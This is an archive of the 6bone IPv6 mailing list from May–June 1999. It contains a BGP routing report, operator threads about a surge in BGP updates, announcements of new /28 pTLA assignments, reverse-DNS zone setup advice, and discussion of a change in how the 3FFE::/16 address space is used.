| To: 6bone-routing-report@merit.edu
| Subject: 05/29/99 6Bone Routing Report
|
|
| See http://www.merit.edu/ipma for a more detailed report on routing
| problems and recommendations on ways service providers can limit the
| spread of invalid routing information.
| Send comments and questions to ipma-support@merit.edu
|
| To unsubscribe from this list, send mail to
|     6bone-routing-report-request@merit.edu.
| A hypermail archive is available at
|     http://www.merit.net/mail.archives/html/6bone-routing-report/
|
| Also see http://www.caida.org for more information about Internet
| statistics collection research efforts.
|
| ---------------------------------------------
| This report is for 05/29/99, peering with
|   VIAGENIE (AS10566)  CISCO (AS109)  IDIR (AS11264)  CICNET (AS1225) 
 MERIT
| (AS237)  WIDE (AS2500)  ETRI (AS3559)  EWD-3COM (AS561)  UUNET-US (AS704)
| CAIRN (AS7081)  NUS-IRDU (AS7610)
| ---------------------------------------------
|
| Size of 6Bone Routing Table:
| 	Max = 179, Min = 177, Average = 177
| 	59 Unique Autonomous System (AS) numbers
|
| BGP4+ Traffic Summary:
| 	Announcements = 569211    Withdraws = 200295   Unique Routes = 70
|
| Non-6Bone Prefixes (outside of 3ffe::/16):
| --------------------------------
|   0000::/0 path 1225 48 1752 5408 559 137 1275 (JOIN)
|   1800::/4 path 1225 48 1752 5408 559 137 1275 (JOIN)
|   5f01:7800::/32 path 1225 (CICNET)
|   5f0b:4f00::/32 path 109 2895 (INR)
|   5f0d:e900:ce9c:9400::/64 path 1225 (CICNET)
|
| Poorly Aggregated Prefixes (>24):
| --------------------------------
|   VIAGENIE (3ffe:b00::/24) had 5 route(s)
|     3ffe:b00:c18:2::2/127 path 7081 6509 10566 (VIAGENIE)
|     3ffe:b00:c18::b/127 path 7081 6509 10566 (VIAGENIE)
|     3ffe:b00:800:1::/64 path 7081 6509 10566 (VIAGENIE)
|     3ffe:b00:c18:2::/64 path 7081 6509 10566 (VIAGENIE)
|     3ffe:b00:c18::/48 path 7081 6509 10566 (VIAGENIE)
|
|   UUNET-UK (3ffe:1100::/24) had 2 route(s)
|     3ffe:1108:40a::/48 path 1225 1275 8319 5539 (SPACENET-DE)
|     3ffe:1108:1400::/40 path 704 (UUNET-US)
|
|   CICNET (3ffe:900::/24) had 2 route(s)
|     3ffe:900:1::/48 path 1225 1312 (LORE/VT)
|     3ffe:900:2::/48 path 1225 3899 (CHICO)
|
|   SMS (3ffe:2600::/24) had 2 route(s)
|     3ffe:2610:2::/48 path 1225 1103 3274 8432 (TF-INET-DEV)
|     3ffe:2620::/32 path 1225 1103 3274 1741 (FUNET/OTOL)
|
|   VBNS (3ffe:2800::/24) had 1 route(s)
|     3ffe:2802::/32 path 1225 1312 (LORE/VT)
|
|   SPRINT (3ffe:2900::/24) had 1 route(s)
|     3ffe:2900:5::/48 path 1225 1312 (LORE/VT)
|
|   SWITCH (3ffe:2000::/24) had 1 route(s)
|     3ffe:202a:1::/64 path 1225 1275 559 1836 (SIMULTAN)
|
|   JANET (3ffe:2100::/24) had 1 route(s)
|     3ffe:2101::/48 path 1225 48 1752 3185 (ULANC)
|
|   MERIT (3ffe:1c00::/24) had 1 route(s)
|     3ffe:1cee::/48 path 11264 (IDIR)
|
|   INFN-CNAF (3ffe:2300::/24) had 1 route(s)
|     3ffe:23f0::/28 path 1225 1275 559 137 8253 (DUTHNET)
|
|   UNI-C (3ffe:1400::/24) had 1 route(s)
|     3ffe:1402:1:1::/64 path 7610 1849 5539 1273 (ECRC)
|
|   GRNET (3ffe:2d00::/24) had 1 route(s)
|     3ffe:2d00:3::/48 path 1225 1849 1752 5408 8643 (UOA)
|
|   INR (3ffe:2400::/24) had 1 route(s)
|     3ffe:2401::/32 path 109 2895 2118 (STC-IPNG)
|
|   JOIN (3ffe:400::/24) had 1 route(s)
|     3ffe:400:1c0::/48 path 1225 48 8319 (REGIO-DE)
|
| The Top Five Most Active Prefixes:
| ----------------------------------
| 1.  (1800::/4) had 215895 BGP+ updates (10 unique aspaths)
|   237 1225 2547 559 137 1275 (33095)
|   237 1225 48 1752 5408 559 137 1275 (21866)
|   1225 2547 559 137 1275 (14764)
|   237 1225 48 3251 1930 559 137 1275 (14578)
|   1225 48 1752 5408 559 137 1275 (9734)
|   1225 48 3251 1930 559 137 1275 (6491)
|   237 1225 33 5609 48 (2131)
|   237 1225 48 1752 3185 786 2547 2547 559 137 1275 (1067)
|   1225 33 5609 48 (948)
|   1225 48 1752 3185 786 2547 2547 559 137 1275 (476)
|
| 2.  (0000::/0) had 177374 BGP+ updates (10 unique aspaths)
|   237 1225 2547 559 137 1275 (26850)
|   237 1225 48 1752 5408 559 137 1275 (21442)
|   1225 2547 559 137 1275 (11978)
|   237 1225 48 3251 1930 559 137 1275 (10743)
|   1225 48 1752 5408 559 137 1275 (9554)
|   1225 48 3251 1930 559 137 1275 (4790)
|   237 1225 33 5609 48 (2131)
|   1225 33 5609 48 (948)
|   237 1225 48 1752 3185 786 2547 2547 559 137 1275 (476)
|   1225 48 1752 3185 786 2547 2547 559 137 1275 (212)
|
| 3. SIMULTAN (3ffe:202a:1::/64) had 95756 BGP+ updates (9 unique aspaths)
|   237 1225 1275 559 1836 (26636)
|   237 1225 2547 559 1836 (26636)
|   10566 10566 10566 10566 1930 559 1836 (18440)
|   1225 2547 559 1836 (12051)
|   1225 1275 559 1836 (11855)
|   10566 10566 10566 10566 3462 3263 1275 559 1836 (78)
|   237 109 1225 1275 559 1836 (8)
|   109 1225 1275 559 1836 (3)
|   561 5609 1225 1275 559 1836 (1)
|
| 4. SWISSCOM (3ffe:1e00::/24) had 93998 BGP+ updates (11 unique aspaths)
|   237 1225 2547 559 3303 (27248)
|   237 1225 1275 559 3303 (27221)
|   10566 10566 10566 10566 1930 559 3303 (14918)
|   1225 2547 559 3303 (12302)
|   1225 1275 559 3303 (12113)
|   10566 10566 10566 10566 6175 137 559 3303 (153)
|   2500 33 1849 5623 559 3303 (13)
|   237 109 5409 559 3303 (9)
|   109 5409 559 3303 (3)
|   561 5609 1225 1275 559 3303 (1)
|   561 6175 137 559 3303 (1)
|
| 5. SWITCH (3ffe:2000::/24) had 92010 BGP+ updates (11 unique aspaths)
|   237 1225 2547 559 (26636)
|   237 1225 1275 559 (26609)
|   10566 10566 10566 10566 1930 559 (14676)
|   1225 2547 559 (12051)
|   1225 1275 559 (11841)
|   10566 10566 10566 10566 6175 137 559 (153)
|   2500 33 1849 5409 559 (13)
|   237 109 5409 559 (9)
|   109 5409 559 (3)
|   561 5609 1225 1275 559 (1)
|   561 6175 137 559 (1)
| 
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From 6bone-owner  Mon May 31 00:07:24 1999
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Date: Mon, 31 May 1999 03:07:14 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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To: Bob Fink <fink@es.net>
cc: Richard Draves <richdr@microsoft.com>, "'6bone'" <6bone@ISI.EDU>
Subject: Re: 6bone problems
In-Reply-To: <4.1.19990530181637.00aa2e30@imap2.es.net>
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What are you seeing? More specifics, or just more routes? maybe the new /28
delegations are playing tricks on some people's filters... Lemme know.

I don't see anything. I am looking for a connection into one of the public
native v6 peering circles for an unfiltered connection, but I don't see
anything here, due to my filters. Let me know what you are seeing
secifically.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Sun, 30 May 1999, Bob Fink wrote:

->Rich,
->
->At 03:28 PM 5/30/99 -0700, Richard Draves wrote:
->>In the last several days the BGP traffic has skyrocketed... does anybody
->>know what's up?
->
->Rob Rockell had speculated to me that it looked as if someone was not filtering their downstreams, and one of their 
->leaf-nodes descided to advertise default. He was looking into it, but also noted that he didn't see it in his (Sprint's) routing table due to his agressive filtering (one of those things we hope to harden on the 6bone!).
->
->Maybe Rob can comment (I've cc'd him here).
->
->
->Bob
->
->
->
->


From 6bone-owner  Tue Jun  1 17:35:35 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>
Subject: Reacheability of Fibertel WWW Site
Date: Tue, 1 Jun 1999 21:32:54 -0300
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This is a multi-part message in MIME format.

------=_NextPart_000_003D_01BEAC76.4F459070
Content-Type: text/plain;
	charset="iso-8859-1"
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I wank to ask to all 6bone members if you can reach without any problem =
my www site or my router
the www site is www.ipv6.fibertel.com.ar - 3ffe:3800:1::2 by ping or =
http
and my router at cisco.ipv6.fibertel.com.ar - 3ffe:3800:1::1 by ping

Thanks

------------------------------------------------------
Patricio Sebasti=E1n Latini
Network Administrator
Network Operations Center
Fibertel TCI2
Buenos Aires - Argentina
------------------------------------------------------


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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I wank to ask to all 6bone members if =
you can reach=20
without any problem my www site or my router</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the www site is <A=20
href=3D"http://www.ipv6.fibertel.com.ar">www.ipv6.fibertel.com.ar</A> -=20
3ffe:3800:1::2 by ping or http</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and my router at =
cisco.ipv6.fibertel.com.ar -=20
3ffe:3800:1::1 by ping</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial=20
size=3D2>------------------------------------------------------<BR>Patric=
io=20
Sebasti=E1n Latini<BR>Network Administrator<BR>Network Operations=20
Center<BR>Fibertel TCI2<BR>Buenos Aires -=20
Argentina<BR>------------------------------------------------------<BR></=
FONT></DIV></BODY></HTML>

------=_NextPart_000_003D_01BEAC76.4F459070--


From 6bone-owner  Wed Jun  2 08:33:28 1999
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Date: Wed, 02 Jun 1999 11:25:38 -0400
To: users@ipv6.org, deployment@ipv6.org, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: 400th tunnel!
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Hi,
	by midnight yesterday, we just reached the 400th tunnel on our tunnel
server (http://www.freenet6.net)!

Regards, Marc.

PS. the purpose of this message is not a commercial announcement (our
service is a voluntary,free service), but just to tell people that IPv6 is
more than alive! 

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
               http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Fri Jun  4 16:15:55 1999
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To: 6bone@ISI.EDU
Date: Sat, 5 Jun 1999 02:15:29 +0300 (EEST)
From: Alexei Akimov <mitra@ukr.net>
Organization: UkrNet Ltd. <Technical Support>
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	Hi! 
I am situated in Kiev, Ukraine and I'm looking for IPv6 peer to
connect to.

-- 
Wishing all the best,
Alexei Akimov AA914-RIPE                                  Best Known As M1tRA
E-Mail: mitra@ukr.net ICQ: 2655858      +380 (44) 235-85-55 UkrNet Ltd., Kiev

From 6bone-owner  Fri Jun  4 19:26:21 1999
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Date: Fri, 04 Jun 1999 19:26:03 -0700
To: mitra@ukr.net, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Ukraine connection to 6bone
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Alexei,

At 02:15 AM 6/5/99 +0300, Alexei Akimov wrote:
>	Hi! 
>I am situated in Kiev, Ukraine and I'm looking for IPv6 peer to
>connect to.

The one other Ukraine site, IPV6UA, Donetsk State Technical University:

  <http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/IPV6UA.html>

gets their tunnel from INR, the Institute for Nuclear Resarch in Moscow:

  <http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/INR.html>

so you might try them.


Bob


From 6bone-owner  Fri Jun  4 20:22:45 1999
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Date: Fri, 04 Jun 1999 20:22:11 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: Application for pTLA from Dante/Terena/Quantum - review
  will  close 8 June 
Cc: Simon Nybroe <sin@tbit.dk>, Bill Manning <bmanning@ISI.EDU>
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--=====================_25062087==_.ALT
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I would like to announce the assignment of a pTLA to QTPVSIX based on the
comments received during the open review period.

Please note that this as a 28-bit pTLA.

--- 

QTPVSIX - The Quantum Test Programme IPv6 Project - This project will connect
european research networks using the native ATM service provided by the TEN-155
network operated by Dante. 

inet6num: 3FFE:8030::/28 
netname: QTPVSIX

<http://www.ip.qwest.net/~david/cgi-bin/whois?trumpet>

---

Welcome QTPVSIX to the 6bone backbone!

Bob 


--=====================_25062087==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
I would like to announce the assignment of a pTLA to QTPVSIX based on the
comments received during the open review period.<br>
<br>
Please note that this as a 28-bit pTLA.<br>
<br>
--- <br>
<br>
QTPVSIX - The Quantum Test Programme IPv6 Project - This project will
connect european research networks using the native ATM service provided
by the TEN-155 network operated by Dante. <br>
<br>
inet6num: 3FFE:8030::/28 <br>
netname: QTPVSIX<br>
<br>
&lt;<a href="http://www.ip.qwest.net/~david/cgi-bin/whois?trumpet" eudora="autourl"><font color="#0000FF"><u>http://www.ip.qwest.net/~david/cgi-bin/whois?trumpet</a></font></u>&gt;<br>
<br>
---<br>
<br>
Welcome QTPVSIX to the 6bone backbone!<br>
<br>
Bob <br>
<br>
</html>

--=====================_25062087==_.ALT--


From 6bone-owner  Fri Jun  4 20:30:40 1999
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Date: Sat, 05 Jun 1999 11:21:13 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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Subject: about Reverse Name Lookup
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Hi:
	When we are a transit site or leaf site, we will ask our provider to
have a pionter to us for the reverse name lookup in their DNS. However, when
we become a backbone site, how can we set in DNS for our reverse name lookup?
					Thanks

From 6bone-owner  Sat Jun  5 07:48:48 1999
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To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: about Reverse Name Lookup
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At 11:21 AM 6/5/99 +0800, Yann-Ju Chu wrote:
>
>Hi:
>	When we are a transit site or leaf site, we will ask our provider to
>have a pionter to us for the reverse name lookup in their DNS. However, when
>we become a backbone site, how can we set in DNS for our reverse name lookup?

Unfortunately I just noticed that the "How to Join the 6bone" page at <http://www.6bone.net/6bone_hookup.html> has busted DNS setup pointers. If anyone can send me new info on DNS setup I will add it to this page.

Bill Manning is the best person, I think, to tell you how to setup the reverse path stuff. Of ocurse he sets it from the root.


Bob


---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.

From 6bone-owner  Mon Jun  7 02:29:46 1999
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Dear members:

I'm looking for some applications, services, web server
addresses and so on for IPv6.
I have a FreeBSD router(with KAME code) and a Solaris 7
host(with SUN's IPv6 prototype).

WIll you send me some information?
Thank you.


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon Jun  7 06:23:34 1999
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Date: Mon, 7 Jun 1999 23:23:27 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: 6bone@ISI.EDU
Subject: Trumpet pTLA (3ffe:8000::/28) now online.
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I know it might seem trivial to some, but we've just made history by being the
first /28 to come online to the 6bone.  Also this is a first for Australia,
Trumpet being the first pTLA in the Australian region.

There are however a couple of teething troubles that may need to be ironed out.

Firstly, some sites are filtering out /28 advertisements resulting in me not
being accesible to parts of the 6bone.  Could everyone check their BGP setups
to see if they are allowing the /28 advertisements.

The second is a minor related one, and that is that the BGP reporting and other
software will need fixing to register /28's as pTLAs from now on. 

I will also need another couple of peering points, preferably within good
proximity to us in the IPv4 world.

Thanks to all those who have helped in getting this to happen.  You know who
you are :-)

Hip Hip Hooray!!!...

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Mon Jun  7 06:24:57 1999
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Date: Mon, 7 Jun 1999 14:24:39 +0100 (WET DST)
From: Rute Sofia <rsofia@rccn.net>
To: Bob Fink <fink@es.net>
cc: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>,
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Subject: Re: about Reverse Name Lookup
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Hi.

We have at http://www.fccn.pt/rcn/projectos/ipv6/ some DNS tutorials. 
They now are only in portuguese :-), but the english version will be 
available soon, hopefully by the end of this week.

So, I think it would be a good idea to add a link.

	Thanks,

		Rute Sofia

---------------------------------------------------
Helena Rute Esteves Carvalho Sofia
FCCN
Av. do Brasil, 101
1799 LISBOA CODEX
tel.: 8440115
fax: 8472167
e-mail: rsofia@rccn.net
"After silence, that which comes nearest to expressing 
the inexpressible is Music." - Aldous Huxley

---------------------------------------------------

On Sat, 5 Jun 1999, Bob Fink wrote:

> At 11:21 AM 6/5/99 +0800, Yann-Ju Chu wrote:
> >
> >Hi:
> >	When we are a transit site or leaf site, we will ask our provider to
> >have a pionter to us for the reverse name lookup in their DNS. However, when
> >we become a backbone site, how can we set in DNS for our reverse name lookup?
> 
> Unfortunately I just noticed that the "How to Join the 6bone" page at <http://www.6bone.net/6bone_hookup.html> has busted DNS setup pointers. If anyone can send me new info on DNS setup I will add it to this page.
> 
> Bill Manning is the best person, I think, to tell you how to setup the reverse path stuff. Of ocurse he sets it from the root.
> 
> 
> Bob
> 
> 
> ---
> Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.
> 

From 6bone-owner  Mon Jun  7 07:54:20 1999
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Date: Mon, 07 Jun 1999 07:54:03 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new pTLA for IIJ/JP: 3FFE:8020::/28 
Cc: Bill Manning <bmanning@ISI.EDU>,
        Kazu Yamamoto (=?iso-2022-jp?B?GyRCOzNLXE9CSScbKEI=?=) <kazu@iijlab.net>
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 <4.1.19990519233421.00b1f950@imap2.es.net>
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--=====================_5122966==_.ALT
Content-Type: text/plain; charset="us-ascii"

I would like to announce the assignment of a pTLA to IIJ based on the comments
received during the open review period.

Please note that this as a 28-bit pTLA.

--- 

IIJ - The Internet Initiative Japan Inc. - IIJ is one of the largest IPv4
Internet service providers in Japan, providing Internet access and related
services, as well as providing IPv6 transit services to the WIDE project. 

inet6num: 3FFE:8020::/28 
netname: IIJ

<http://www.ip.qwest.net/~david/cgi-bin/whois?iij>

---

Welcome IIJ to the 6bone backbone!

Bob 



---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and
will not be responsive to email until July 21. Please direct 6bone & ngtrans
questions to Alain Durand <Alain.Durand@imag.fr>. 
--=====================_5122966==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
I would like to announce the assignment of a pTLA to IIJ based on the
comments received during the open review period.<br>
<br>
Please note that this as a 28-bit pTLA.<br>
<br>
--- <br>
<br>
IIJ - The Internet Initiative Japan Inc. - IIJ is one of the largest IPv4
Internet service providers in Japan, providing Internet access and
related services, as well as providing IPv6 transit services to the WIDE
project. <br>
<br>
inet6num: 3FFE:8020::/28 <br>
netname: IIJ<br>
<br>
&lt;<a href="http://www.ip.qwest.net/~david/cgi-bin/whois?iij" eudora="autourl"><font color="#0000FF"><u>http://www.ip.qwest.net/~david/cgi-bin/whois?iij</a></font></u>&gt;<br>
<br>
---<br>
<br>
Welcome IIJ to the 6bone backbone!<br>
<br>
Bob <br>
<br>
<br>
<br>
<div>---</div>
Bob will be on travel from June 9 until the Oslo IETF meeting (July
11-16), and will not be responsive to email until July 21. Please direct
6bone &amp; ngtrans questions to Alain Durand
&lt;Alain.Durand@imag.fr&gt;.
</html>

--=====================_5122966==_.ALT--


From 6bone-owner  Mon Jun  7 10:25:41 1999
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From: bmanning@ISI.EDU
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Subject: Re: about Reverse Name Lookup
To: yjchui@ms.chttl.com.tw (Yann-Ju Chu)
Date: Mon, 7 Jun 1999 10:25:22 -0700 (PDT)
Cc: 6bone@ISI.EDU (6Bone)
In-Reply-To: <375897A9.5D1FEC88@ms.chttl.com.tw> from "Yann-Ju Chu" at Jun 05, 1999 11:21:13 AM
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> 
> Hi:
> 	When we are a transit site or leaf site, we will ask our provider to
> have a pionter to us for the reverse name lookup in their DNS. However, when
> we become a backbone site, how can we set in DNS for our reverse name lookup?
> 					Thanks
> 

This is a current weakness in the delegation process. While the registry is
a fine idea, it leaves out the DNS component. I've opined that the inverse
tree of the DNS works very well as a publication method for registry
data and avoids the problems inherent in a centralized registry... however:

When Bob authorizes a delegation, he sends an announcement to the list.
The delegates need to have at least two servers available to host the
delegation. For IP6.INT zones, it is -NOT- mandatory that you have a viable
ipv6 stack or server.  Normal nameservers work just fine.

Since these delegations presume that you will have to make sub-delegations,
the following steps should help:

	- Send me a list of your selected servers that will host
	  your delegation.  I'll be happy to provide one. 
	  the zone cuts will look like this:
	  

f.5.ip6.int. in soa ns.isi.edu. bmanning.isi.edu. (
	1925845 10800 900 604800 129600 )
  in ns NS.ISI.EDU.
  in ns dot.ep.net.
;
;       bill manning    bmanning@vacation.karoshi.com  02dec96  ASN-4555
0.0.1.1.c.b.f.5.ip6.int.        in      ns      ns.isi.edu.
                                in      ns      dot.ep.net.
;
;       bill manning    bmanning@isi.edu        02dec96  ASN-226
0.0.0.0.e.2.f.5.ip6.int.        in      ns      ns.isi.edu.
                                in      ns      orb.isi.edu.
;
;  eof

-------------

	For your specific zone, you'll need your downstreams to do
	the same; e.g.

0.0.0.0.e.2.f.5.ip6.int.  in soa ns.isi.edu. bmanning.isi.edu. (
        1925845 10800 900 604800 129600 )
  in ns NS.ISI.EDU.
  in ns dot.ep.net.
;
b.0.2.0.0.0.0.C.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0	in	ptr	IOSv6-7k.ep.net.
;
;    sub-tla delegation for testing.
1.0.0.0	in ns  dot.ep.net.
        in ns  flag.ep.net.
;
; 


You may want to add something like this to your zone header, to help keep
this straight:

; 
;   |   16    |       32      |   16   |          64 bits               |
;   +--+------+---------------+--------+--------------------------------+
;   |FP| TLA  |      NLA      |  SLA   |         Interface ID           |
; 
;   |   16    | 8  | 8 |  16  | 8  | 8 |                                |
;   +---------+----+---+------+----+---+--------------------------------+
;   | 0x3ffe  |0x8 |   |  RES |RES |   |                                |
;   +---------+----+---+------+----+---+--------------------------------+
;       ^       ^    ^               ^
;       |       |    |               |
;       |       |    |      +--------+
;       |       |    |      |
;       |       |    |
;       |       |    |    0x26  128.9.160.26 = 3ffe:801:0000:0026::/64
;       |       |    |    0x11  198.32.146.11= 3ffe:800:0000:0011::/64
;       |       |    |
;       |       |    +--- NLA2 0x00  LAP     = 3ffe:800:0000::/48
;       |       |              0x01  ISI     = 3ffe:801:0000::/48
;       |       |              0x02  CalTech = 3ffe:802:0000::/48
;       |       |              0x03  USC     = 3ffe:803:0000::/48
;       |       |              0x04  NMSU    = 3ffe:804:0000::/48 Jonathan Cook
;       |       |              0x05  iHighway= 3ffe:805:0000::/48 John M. Brown
;       |       |              0x06  AboveNet= 3ffe:806:0000::/48 Steve Rubin
;       |       |              0x07  Zocalo  = 3ffe:807:0000::/48 Bill Woodcock
;       |       |
;       |       +-------- NLA1 for LAP       = 3ffe:800::/24
;       |
;       +---------------- FP+TLA for 6bone   = 3ffe::/16
;
;
...


	Does this help at all?

	


-- 
--bill

From 6bone-owner  Mon Jun  7 11:12:51 1999
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Date: Mon, 07 Jun 1999 11:11:03 -0700
To: bmanning@ISI.EDU
From: Bob Fink <fink@es.net>
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Cc: 6bone@ISI.EDU (6Bone)
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Bill,

Thanks for your note on this. I've put it on a web page that has a pointer on the "How to Join the 6bone" page (near the bottom).


Thanks,

Bob


---
Bob will be on travel from June 9 until the Oslo IETF meeting (July 11-16), and will not be responsive to email until July 21. Please direct 6bone & ngtrans questions to Alain Durand <Alain.Durand@imag.fr>.

From 6bone-owner  Mon Jun  7 15:01:11 1999
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Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?) version
To: fink@es.net (Bob Fink)
Date: Mon, 7 Jun 1999 15:00:59 -0700 (PDT)
Cc: 6bone@ISI.EDU, iana@iana.org, aso@ripe.net
In-Reply-To: <4.1.19990505151055.00b08270@imap2.es.net> from "Bob Fink" at May 05, 1999 04:27:44 PM
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Note that this change affects the existant documents that are being
used by the various RIR's on their delegation policies, i.e.
RFC 2450,
RFC 2471,
draft-ietf-ipngwg-iana-tla-01.txt
which appears to conflict with RFC 1897.

	I think that this change, as implemented in the 6bone should
	be incorporated by the various RIRs in their operational documents
	and be used as a reference by the IANA in their discussions 
	about longer term delegation policies.  
	Yes, there is a movement afoot to get real bit level delegation
	deployed in the DNS but I don't think we can wait for that.
	

> 
> 6bone Folk,
> 
> I recently proposed changing the pTLA 3FFE:/16 usage to allow future growth as the 6bone becomes used more for production. The current usage specifices an 8-bit pTLA (prefix 3FFE:xx00::/24), thus only providing for 256 pTLAs, of which 57 are currently in use. 
> 
> The proposed change was to leave the lower half of the space usage as is (at least for now):
> 
> 	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
> 
> and starting at this point change to a 13-bit pTLA:
> 
> 	3FFE:8000::/29 thru 3FFE:FFF8::/29  new 13-bit pTLA space
> 
> Also, concern had been expressed about the odd bit size of the /29 in terms of implementing the reverse DNS path, so there was the possibility of making the new space fall on an nibble bit size boundary, say a /28 or /32.
> 
> 
> Comments generally seem to favor setting the new pTLA space at /28 on the grounds that 2048 pTLAs (half of a 12-bit pTLA space) is big enough, and that it makes the reverse path easier to specify for now. There was also a comment requesting that we don't require 8-bit pTLAs to convert to the newer pTLA space. 
> 
> 
> Thus I would like to change the proposal as follows.
> 
> The old 8-bit pTLA space will be reduced to use of the lower half of the space:
> 
> 	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
> 
> and starting at this point change to a 12-bit pTLA:
> 
> 	3FFE:8000::/28 thru 3FFE:FFF0::/28  new 12-bit pTLA space
> 
> I would also like to leave existing 8-bit pTLAs in place for the indefinite future. This issue can be reconsidered in the future as usage of the new 12-bit space dictates. 
> 
> It should also be noted that there is no planned policy at this time for requiring pTLA holders that acquire a TLA or sub-TLA allocation to renumber out of their pTLA. This issue can also be reconsidered in the future as usage of the new 12-bit space dictates. 
> 
> 
> I would like to cease the allocation of /24 8-bit pTLAs at this time, and move to the new /28 space. Hearing no convincing arguments to the contrary, I will assign the next pTLA as a /28. As there are no outstanding pTLA requests in the queue, it makes at least a two week delay in implementing this. Comments to the list please.
> 
> 
> Thanks,
> 
> Bob
> 
> 
> 


-- 
--bill

From 6bone-owner  Mon Jun  7 15:25:51 1999
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Date: Mon, 07 Jun 1999 15:25:37 -0700
To: bmanning@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Proposed change in 6bone pTLA 3FFE usage - 2nd (final?)
  version
Cc: 6bone@ISI.EDU, iana@iana.org, aso@ripe.net
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Bill,

I don't understand your comment on this. There appears no conflict in the proposed 6bone TLA usage with any of the docs you mention (by the way, RFC1897 is obsoleted). I'm probably missing something obvious, so please say more.


Thanks,

Bob

===
At 03:00 PM 6/7/99 -0700, bmanning@ISI.EDU wrote:
>
>Note that this change affects the existant documents that are being
>used by the various RIR's on their delegation policies, i.e.
>RFC 2450,
>RFC 2471,
>draft-ietf-ipngwg-iana-tla-01.txt
>which appears to conflict with RFC 1897.
>
>	I think that this change, as implemented in the 6bone should
>	be incorporated by the various RIRs in their operational documents
>	and be used as a reference by the IANA in their discussions 
>	about longer term delegation policies.  
>	Yes, there is a movement afoot to get real bit level delegation
>	deployed in the DNS but I don't think we can wait for that.
>	
>
>> 
>> 6bone Folk,
>> 
>> I recently proposed changing the pTLA 3FFE:/16 usage to allow future 
>growth as the 6bone becomes used more for production. The current usage 
>specifices an 8-bit pTLA (prefix 3FFE:xx00::/24), thus only providing for 
>256 pTLAs, of which 57 are currently in use. 
>> 
>> The proposed change was to leave the lower half of the space usage as is 
>(at least for now):
>> 
>> 	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
>> 
>> and starting at this point change to a 13-bit pTLA:
>> 
>> 	3FFE:8000::/29 thru 3FFE:FFF8::/29  new 13-bit pTLA space
>> 
>> Also, concern had been expressed about the odd bit size of the /29 in 
>terms of implementing the reverse DNS path, so there was the possibility of 
>making the new space fall on an nibble bit size boundary, say a /28 or /32.
>> 
>> 
>> Comments generally seem to favor setting the new pTLA space at /28 on the 
>grounds that 2048 pTLAs (half of a 12-bit pTLA space) is big enough, and 
>that it makes the reverse path easier to specify for now. There was also a 
>comment requesting that we don't require 8-bit pTLAs to convert to the newer 
>pTLA space. 
>> 
>> 
>> Thus I would like to change the proposal as follows.
>> 
>> The old 8-bit pTLA space will be reduced to use of the lower half of the 
>space:
>> 
>> 	3FFE:0000::/24 thru 3FFE:7F00::/24  old 8-bit pTLA space
>> 
>> and starting at this point change to a 12-bit pTLA:
>> 
>> 	3FFE:8000::/28 thru 3FFE:FFF0::/28  new 12-bit pTLA space
>> 
>> I would also like to leave existing 8-bit pTLAs in place for the 
>indefinite future. This issue can be reconsidered in the future as usage of 
>the new 12-bit space dictates. 
>> 
>> It should also be noted that there is no planned policy at this time for 
>requiring pTLA holders that acquire a TLA or sub-TLA allocation to renumber 
